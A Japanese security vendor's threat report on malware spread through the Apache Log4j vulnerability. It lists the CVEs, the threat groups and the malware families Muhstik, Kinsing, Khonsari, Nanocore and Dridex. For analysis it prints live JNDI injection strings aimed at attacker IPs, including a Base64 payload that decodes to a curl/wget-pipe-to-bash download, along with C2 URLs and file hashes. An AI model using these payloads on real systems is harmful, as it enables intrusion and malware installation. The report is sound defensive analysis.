2021年12月初めて公開された Apache Log4j 脆弱性は、CVE-2021-44228脆弱性セキュリティのためのパッチを発表後、別の脆弱性も発見されその脆弱性も公開されている。現在までに発見されたApache Log4j脆弱性としては全部で5件ある。Paloalto Networksの資料によると、Apache Log4j脆弱性を利用した攻撃が一日最大1,000万件発生しており、攻撃に使用されるコールバック(Callback)URL分析結果、特定のドメイン(nessus[.]orgなど)または、攻撃者が望むC2へ試す回数も1,000万件以上発生している。
一般的に攻撃者は作成したマルウェア流布のためにゼロデー脆弱性や、PoC(Proof of concept)コードが公開さている脆弱性を利用する。マルウェア検知を可能な限り遅らせることができ、感染時のシステム影響度が高いマルウェアを感染させたり、攻撃者がシステムコマンドを実行するなどができる。CVE-2021-44228脆弱性は、現在CVSS(Common Vulnerability Scoring System)は10.0万点としており、攻撃に成功すると一番影響度が高い。
今回はApache Log4j脆弱性が初めて発表された2021年12月から当該の脆弱性を利用したマルウェア、及び悪用を試す攻撃グループに対して収集した情報を基に、その方法とマルウェア流布の方法について調べ記載しています。
【▲ 日別Apache Log4j脆弱性スキャン回数(参考:Paloalto Networks)】
Apache Log4j脆弱性を悪用しようとした攻撃を調べる前にApache Log4jに関する主要脆弱性を整理する。2021/12/10 NVDに初めて登録されたCVE-2021-44228 の以前に確認された脆弱性は2種で、最新アップデートバージョンの 2.17.1 にアップデートされるまで、5件の脆弱性が追加で確認された。合計7種が確認されている。今回はApache Log4j脆弱性を悪用した流布方法について調べるため、それぞれの脆弱性の内容を簡単に以下の表にまとめた。
CVE | 登録日 | 影響を受けるバージョン | 内容 |
---|---|---|---|
CVE-2017-5645 | 2017/04/17 | Apache Log4j 2.8.2以下 | ログのデシリアライズの過程から発生されてるリモートコード実行脆弱性 |
CVE-2019-17571 | 2019/12/13 | Apache Log4j 1.2~1.2.17 | SocketServerのSocketNodeクラスを利用して任意コマンドの実行ができる脆弱性 |
CVE-2021-44228 | 2021/12/10 | Apache Log4j 2.2.0 -beta9~2.12.1 2.13.0~2.15.0 | JNDI(Java Naming and Directory Interface)を利用してLDAP, RMI, DNS要請時、発生されるリモートコード実行脆弱性 |
CVE-2021-45046 | 2021/12/14 | ロギング構成がContext Lookupと主にデフォルトではないPattern Layout(例:${ctx:loginId})を使用する場合、JNDI Lookup進行時、発生されるリモートコード脆弱性 | |
CVE-2021-4104 | 2021/12/14 | Apache Log4j 1.2.x | ログメッセージを利用したリモートコード実行脆弱性- JMSAppender機能を使用する場合のみ発生 |
CVE-2021-45105 | 2021/12/18 | Apache Log4j 2.0 -beta9~2.16.0 (2.12.3海外バージョンを除く) | ロギング構成がContext Lookupと主にデフォルトではないPattern Layout(例:${ctx:loginId})を使用する場合、再帰照会が含まれている悪意的な入力データを作成してサービス拒否する脆弱性 |
CVE-2021-44832 | 2021/12/28 | Apache Log4j 2.0 -beta7~2.17.0 (2.3.2及び2.12.4を除く) | ロギング構成ファイルの修正権限がある攻撃者がリモートコードが実行できる。JNDI URLを参照するデータソースと共に、JDBC Appenderを使用する悪性構成が作成でいるリモートコード実行脆弱性 |
【▲ Apache Log4j脆弱性リスト】
Apache Log4j脆弱性で CVE-2021-44228 が初めて公開された2021年12月10日以降、マルウェア流布のための悪用可能な最高の脆弱性になり、HAFNIUM, PHOSPHORUSなど多数の攻撃グループがApache Log4j脆弱性の脆弱性を悪用して攻撃を試している。Apache Log4j脆弱性を悪用したり悪用の目的でテストを行っている攻撃グループは以下になる。
攻撃グループ | 国 | 最初発見時点 | 内容 |
---|---|---|---|
HAFNIUM | 中国 | 2021 | DNSサービスを活用したApache Log4j脆弱性試し |
PHOSPHORUS | イラン | 2014 | Apache Log4j脆弱性を利用したランサムウェア流布試し |
Wizard Spider | ロシア | 2016 | Contiランサムウェア流布の目的でApache Log4j脆弱性を利用してVMware Vcenter Serverにアクセス後、仮想マシン暗号化 |
EvilCorp | ロシア | 2014 | Apache Log4j脆弱性を利用してDridex InfoStealer流布試し |
【▲ Apache Log4j脆弱性の悪用試し攻撃グループ】
2021年12月10日以降、Apache Log4j脆弱性を悪用したマルウェアの情報を収集し、当該の脆弱性を悪用したマルウェアのリストは下記になる。
NO | 区分 | 内容 |
---|---|---|
1 | Botnet | Muhstik, Mirai |
2 | Miner | Kinsing(XMR), m8220(XMR), SRBMiner(XMR以外多数), XMRig(XMR) |
3 | Ransomware | Khonsari), TellYouThePass |
4 | DDoS | Elknot |
5 | RAT | Orcus, Nanocore |
6 | Infostealer | Dridex |
【▲ Apache Log4脆弱性の悪用試しマルウェアリスト】
MuhstikボットネットはMiraiボットネットのソースコードを修正して作成され、2018年初めて発見された。最初に発見されたサンプルはボットネット流布のためにDrupal脆弱性のCVE-2018-7600を悪用して流布し、C2の通信に9090ポートを使用する。ボットネットとの通信及びコマンドを伝えるためにIRCプロトコルを利用し、攻撃者の好みによってXMRマイニングプログラムであるXMRigを追加してインストールできて、DDoS攻撃実行ができるコードも含まれていることが知られている。Apache Log4j脆弱性を悪用して流布を試し、どのように感染させるか調べて見てみる。
ファイル名 | MD5 |
---|---|
Exploit.class | 95d9a068529dd2ea4bb4bef644f5c4f5 |
Log | f14019c55e7ce19d93838a4b2f6aec12 |
pty4 | 3430139e131617957d8c6aa48002ddac |
【▲ 分析に使用されたファイル情報】
流布に使用された攻撃コードではCVE-2021-44228を悪用してJavaクラスファイルの要請及び実行を試す。
区分 | 内容 |
---|---|
攻撃コード | ${jndi:ldap://45.130.229.168:9999/Exploit.class} |
【▲ Muhstikボットネットの脆弱性を悪用した攻撃例】
Javaクラスファイルでは、C2からShellスクリプトをダウンロードし、Shellスクリプト実行しMuhstikボットネットに関するマルウェアダウンロード及び、その実行を試す。
【▲ Muhstikボットネットのインストールのためのファイル実行試し】
確保できたMuhstikボットネットサンプルを確認すると攻撃者が使用できるコマンドの内容が確認でき、ボットネットの機能にDDoS攻撃機能が追加されていることが確認できた。
【▲ Muhstikボットネットが使用するコマンドの一部】
Kinsing MalwareはGo言語でコンパイルされており、主にDockerを対象に間違って設定されたAPIポートの構成を悪用し、マルウェアを流布することが知られている。CVE-2021-44228が初めて確認された12月12日以前から、CVE-2021-44228を悪用しShellスクリプト実行試しで流布方法が変更されたことが確認できた。Kinsing Malwareは基本的に攻撃者が望むマルウェアをダウンロードし実行するが、現在は主にマイニングに関するマルウェア流布に使用されていてCVE-2021-44228脆弱性を悪用して感染させる方法も見られる。
ファイル名 | MD5 |
---|---|
Kinsing | 3dfbe75871e218d08328a01c56e1bb42 |
【▲ 分析に使用されたファイル情報】
流布に使用されたコードを確認するとCVE-2021-44228を悪用してShellスクリプトダウンロード及び実行を試す。
コード | 内容 |
---|---|
攻撃コード | ${jndi:ldap://45.155.205[.]233[:]12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC9bdmljdGltIElQXTpbdmljdGltIHBvcnRdfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0L1t2aWN0aW0gSVBdOlt2aWN0aW0gcG9ydF0pfGJhc2gK} |
BASE64デコーディング結果 | (curl -s 45.155.205[.]233[:]5874/[被害者 IP]:[被害者 port]||wget -q -O- 45.155.205[.]233[:]5874/[被害者 IP]:[被害者 port])|bash |
【▲ Kinsing Malwareが脆弱性を悪用した攻撃例】
Shellスクリプトの内容を確認すると、当該の攻撃前にインストールされた仮想通貨マイニングツールの存在有無を検索し、存在する場合プロセスを終了及び削除を試す。
【▲ 以前にインストールされたマイニングツールのプロセス終了及び削除試し】
全ての条件が満たされた場合、攻撃者が設定したC2にアクセスしてマイニングに関するファイルダウンロードを試す。
【▲ 攻撃者が設定したC2へのアクセス試し】
ダウンロードに成功したファイルは/tmpの配下に保存されファイルを実行した後、マイニングのための設定を行い、作業を始める。
【▲マイニングに関する設定内容の一部】
既存のランサムウェアの流布方法はメールの添付ファイル、ブログ内のJava Script挿入などでファイルダウンロード試すか、現在流行っているOS、プログラムの脆弱性を利用していると知られている。その中、Khonsariランサムウェアは2021年12月11日からApache Log4jリモートコード脆弱性を悪用する方法にアップデートし流布している。攻撃者の立場から犯罪収益を最大化する方法で、最新の脆弱性を悪用したとみられている。Khonsariランサムウェアがどのように脆弱性を悪用して流布しているか見てみる。
ファイル名 | MD5 |
---|---|
Main.class | 4c62aec7ade8c9d8f12affd490745620 |
Groenhuyzen.exe | 6ac57a1e090e7abdb9b7212e058c43c6 |
【▲ 分析に使用されたファイル情報】
CVE-2021-44228脆弱性を利用してMain.classファイル要請を試し、成功した場合、Khonsariランサムウェアの実行ファイルであるgroenhuyzen.exeをダウンロードし、実行させる。
区分 | 内容 |
---|---|
脆弱性攻撃時、使用されるC2 | hxxp://3.145.115[.]94/Main.class |
攻撃成功後、ダウンロードを試すファイルパス | hxxp://3.145.115[.]94/zambo/groenhuyzen.exe |
【▲ Khonsariランサムウェアが脆弱性を悪用した攻撃例】
ファイル暗号化される際、「.ini」、「.lnk 」拡張子を使用するファイルは除外されて以下の条件でファイルが暗号化される。
区分 | 内容 |
---|---|
Cドライブ | C:\Users\「ユーザーアカウント」\Documents C:\Users\「ユーザーアカウント」\Videos C:\Users\「ユーザーアカウント」\Pictures C:\Users\「ユーザーアカウント」\Downloads C:\Users\「ユーザーアカウント」\Desktopフォルダ配下のファイルのみ暗号化 |
他のドライブ | 全体ファイルの暗号化 |
【▲ Khonsariランサムウェアのファイル暗号化条件】
【▲ Khonsariランサムウェアのファイル暗号化条件】
ファイル暗号化を始める前にC2からtxtファイル要請も確認できるが、実際には0KB応答が確認できた。
【▲ 攻撃者が設定したC2へのアクセス試し】
ファイル暗号化が終わったファイルは「.khonsari」拡張子で変更されて、ランサムノートが確認できる。
【▲ 暗号化が終わった時の画面】
Nanocoreは.NET基盤で作成されたRATタイプのマルウェアで2013年初めて発見された。攻撃者はモジュール化された機能を利用して情報奪取をためし、C2から暗号化されたコマンドを送信する。NanocoreがインストールされたPCは、C2から送信されたコマンドを基盤にキーロギング、アカウント、PC情報の収集、マイクを利用した録音、DDoS、Webcamで収集された情報をC2に送信する機能を持っている。最近アップデートされたNanocoreの流布方法はApache Log4jの脆弱性を利用しており、その方法について見てみる。
ファイル名 | MD5 |
---|---|
a.exe | 54FCCF779C1611FE486A5C232F32F4D2 |
【▲ 分析に使用されたファイル情報】
流布中のJavaクラスファイルを確認した結果、C2からNanocoreファイルをダウンロードしてユーザーAppDataフォルダに保存後、実行されることが確認できた。
【▲ 流布中のJavaクラスファイルの内容】
C2からダウンロードしたファイルを確認すると異常のファイルが確認されたが、追加に確認した結果、商用パッカーであるThemidaを利用したファイルをパッキングしたことが確認できた。
【▲ C2からダウンロードしたファイルの情報】
パッキングされたマルウェアの一部をアンパッキングして確認した結果、C2から受信されたコマンドコードを利用して感染したPCの情報を収集した後、storage.datなど多数のファイルを保存する。その後、C2から当該のファイルを要請された場合、送信を試すことが確認できた。
【▲ Nanocoreが実施できる機能の一部】
DridexはTA505またはEvilCorpと呼ばれる攻撃グループが作成して銀行またはユーザー情報奪取の目的で作成されたトロイの木馬で2014年初めて登場した。アメリカの財務省は2019年12月までDridexが40ヵ国以上、数百の銀行や金融機関所有のコンピューターを感染し、約1億ドル以上の盗難があったと推定している。既存のDridex配布方法は明細書、見積書などに偽装した文書の内部に不正マクロを追加した文書ファイルをメールに添付して送信、そのメールの添付ファイルを実行すると不正マクロが実行されてDridexのトロイの木馬がインストールされる方法を使用していた。最近アップデートされたDridexの流布方法はApache Log4jの脆弱性を悪用して流布を試しているため、その方法について見てみる。
ファイル名 | MD5 |
---|---|
Binary | 9faf1dbcb4942cf3e3578414402180ed |
hta | A8B4692B81EBF2F5629C125508F52B9E |
【▲ 分析に使用されたファイル情報】
下記の図のようにApache Log4jの脆弱性を悪用して攻撃者が事前にアップロードしたJavaクラスファイルを要請する。
【▲ Dridexが脆弱性を悪用した攻撃例】
【▲ 攻撃者が事前に設定したC2アドレスのリスト】
HTAファイルダウンロードに失敗した場合、curlを利用してPythonコードがあるファイルのダウンロードを試す。
【▲ HTAファイルダウンロード失敗時の条件】
ダウンロードに成功した場合、保存されるHTAファイルを確認するとVBSファイルを「C:\ProgramData\」配下に作成しVBSファイルを実行させる。
【▲ 特定のパスにVBSファイル作成試し】
保存されたVBSファイルを確認するとC2からファイルダウンロードを行い、rundll32またはregsvr32を利用してDridexトロイの木馬実行を試す。
【▲ 特定のパスに作成されたVBSファイル内容の一部】
HTAファイルのダウンロードに失敗した場合は、Pythonコードが有るファイルをダウンロードし、Base64デコーディング結果、リバースShellの使用を目的に、Meterpreterをインストールするデータが含まれていることが確認できた。
【▲ HTAファイルのダウンロードに失敗時、ダウンロードされるPythonコードの一部】
Apache Log4j脆弱性を悪用するマルウェアを分類し、その5種のマルウェアを分析し、どのように脆弱性を悪用するか、そして悪用された不正コードの行為について調べてみた。分析したマルウェアは脆弱性が最初に公開された時点で作られたマルウェアではなく、以前から活発に活動しているマルウェアであることが確認された。流布方法にApache Log4jの脆弱性を悪用する方法を追加して流布しており、攻撃者は最新脆弱性の中、波及力が高い、もしくは発表されたばかりの脆弱性を悪用して流布に使用されるとみられる。
攻撃者は脆弱性を悪用してマルウェアをインストールすることが主な目的でり、脆弱性は最新のものも利用される。その為、対策で来ていない脆弱性を利用されることも考えられるため、脆弱性対策だけでなくマルウェアに感染した場合の対応の両方が必要である。
脆弱性に対応する一番確実な方法は脆弱性を修正したバージョンへのアップデートである。比較的に最近発見されて波及力が高い脆弱性の場合、アップデートが遅くなればなるほど脆弱性スキャンに検知され、攻撃者のターゲットになる可能性が非常に高い。これを防ぐためには最新アップデートのインストールは早く進めるべきである。
今回のApache Log4jの脆弱性はほとんどがサーバを対象にしている。一般ユーザーのPCからサーバを作り、一般ユーザーPCがApache Log4jを使用してサービスオープンしたものなどに脆弱性が悪用される場合も存在する。この場合も同じく脆弱なプログラムに対する最新アップデートは必須で行うことを推奨する。
一般的にユーザーPCは脆弱性を悪用して攻撃するより、フィッシング、スミッシングなどを利用してユーザーを騙したり、特定のプログラムをインストールする際に内部に挿入された不正コードがインストールされるといった方法を利用している。このような状況を防ぐために疑わしいメールの閲覧禁止及び即時削除、公式ホームページから提供していないプログラムのインストール禁止などでマルウェアがインストールされないように習慣をつけるのが大事である。
1) Threat Advisory: Critical Apache Log4j vulnerability being exploited in the wild
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html
2) Technical Advisory: Zero-day critical vulnerability in Log4j2 exploited in the wild
https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild
3) Analysis of Novel Khonsari Ransomware Deployed by the Log4Shell Vulnerability
https://www.cadosecurity.com/analysis-of-novel-khonsari-ransomware-deployed-by-the-log4shell-vulnerability/
4) Critical Log4Shell (Apache Log4j) Zero-Day Attack Analysis
https://www.nozominetworks.com/blog/critical-log4shell-apache-log4j-zero-day-attack-analysis/
5) Guidance for preventing, detecting, and hunting for CVE-2021-44228 Log4j 2 exploitation
https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation/
6) Log4j vulnerability now used to install Dridex banking malware
https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/
7) Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228)
https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
Written by CYBERFORTRESS, INC.
Tweet